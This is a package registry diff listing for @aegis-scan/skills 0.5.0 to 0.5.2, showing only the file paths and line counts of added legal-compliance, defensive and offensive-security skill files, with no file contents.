@aegis-scan/skills 0.5.0 → 0.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (345) hide show
  1. package/ATTRIBUTION.md +93 -0
  2. package/package.json +1 -1
  3. package/sbom.cdx.json +1 -0
  4. package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
  5. package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +878 -0
  6. package/skills/compliance/aegis-native/brutaler-anwalt/README.md +9 -3
  7. package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +93 -14
  8. package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
  9. package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
  10. package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
  11. package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
  12. package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
  13. package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
  14. package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
  15. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
  16. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
  17. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
  18. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
  19. package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
  20. package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
  21. package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +60 -5
  22. package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +745 -11
  23. package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
  24. package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +106 -30
  25. package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +247 -2
  26. package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +75 -2
  27. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
  28. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
  29. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
  30. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
  31. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
  32. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
  33. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
  34. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
  35. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
  36. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
  37. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
  38. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
  39. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
  40. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
  41. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
  42. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
  43. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
  44. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
  45. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
  46. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
  47. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
  48. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
  49. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
  50. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
  51. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
  52. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
  53. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
  54. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
  55. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
  56. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
  57. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
  58. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
  59. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
  60. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
  61. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
  62. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
  63. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
  64. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
  65. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
  66. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
  67. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
  68. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
  69. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
  70. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
  71. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
  72. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
  73. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
  74. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
  75. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
  76. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
  77. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
  78. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
  79. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
  80. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
  81. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
  82. package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +55 -8
  83. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
  84. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
  85. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
  86. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
  87. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
  88. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
  89. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
  90. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +4 -1
  91. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
  92. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
  93. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
  94. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
  95. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
  96. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
  97. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
  98. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
  99. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
  100. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
  101. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
  102. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
  103. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
  104. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
  105. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +3 -0
  106. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
  107. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
  108. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
  109. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
  110. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
  111. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
  112. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
  113. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
  114. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
  115. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
  116. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
  117. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
  118. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
  119. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
  120. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
  121. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
  122. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
  123. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
  124. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
  125. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
  126. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
  127. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
  128. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
  129. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
  130. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
  131. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
  132. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
  133. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +3 -2
  134. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
  135. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
  136. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +71 -3
  137. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
  138. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
  139. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
  140. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
  141. package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +115 -9
  142. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +1 -1
  143. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
  144. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
  145. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
  146. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
  147. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
  148. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
  149. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
  150. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
  151. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
  152. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
  153. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
  154. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
  155. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
  156. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
  157. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
  158. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
  159. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
  160. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
  161. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
  162. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
  163. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
  164. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
  165. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
  166. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
  167. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
  168. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
  169. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
  170. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
  171. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
  172. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
  173. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
  174. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
  175. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
  176. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
  177. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
  178. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
  179. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
  180. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
  181. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
  182. package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
  183. package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
  184. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +80 -0
  185. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
  186. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
  187. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
  188. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
  189. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
  190. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
  191. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
  192. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
  193. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
  194. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
  195. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
  196. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +190 -48
  197. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
  198. package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
  199. package/skills/defensive/permoon-fork/README.md +40 -0
  200. package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
  201. package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
  202. package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
  203. package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
  204. package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +1 -1
  205. package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
  206. package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
  207. package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
  208. package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
  209. package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
  210. package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
  211. package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
  212. package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
  213. package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
  214. package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
  215. package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
  216. package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
  217. package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
  218. package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
  219. package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
  220. package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
  221. package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
  222. package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
  223. package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
  224. package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
  225. package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
  226. package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
  227. package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
  228. package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
  229. package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
  230. package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
  231. package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
  232. package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
  233. package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
  234. package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
  235. package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
  236. package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
  237. package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
  238. package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
  239. package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
  240. package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
  241. package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
  242. package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
  243. package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
  244. package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
  245. package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
  246. package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
  247. package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
  248. package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
  249. package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
  250. package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
  251. package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
  252. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  253. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  254. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  255. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  256. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  257. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  258. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  259. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  260. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  261. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  262. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  263. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  264. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  265. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  266. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  267. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  268. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  269. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  270. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  271. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  272. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  273. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  274. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  275. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  276. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  277. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  278. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  279. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  280. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  281. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  282. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  283. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  284. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  285. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  286. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  287. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  288. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  289. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  290. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
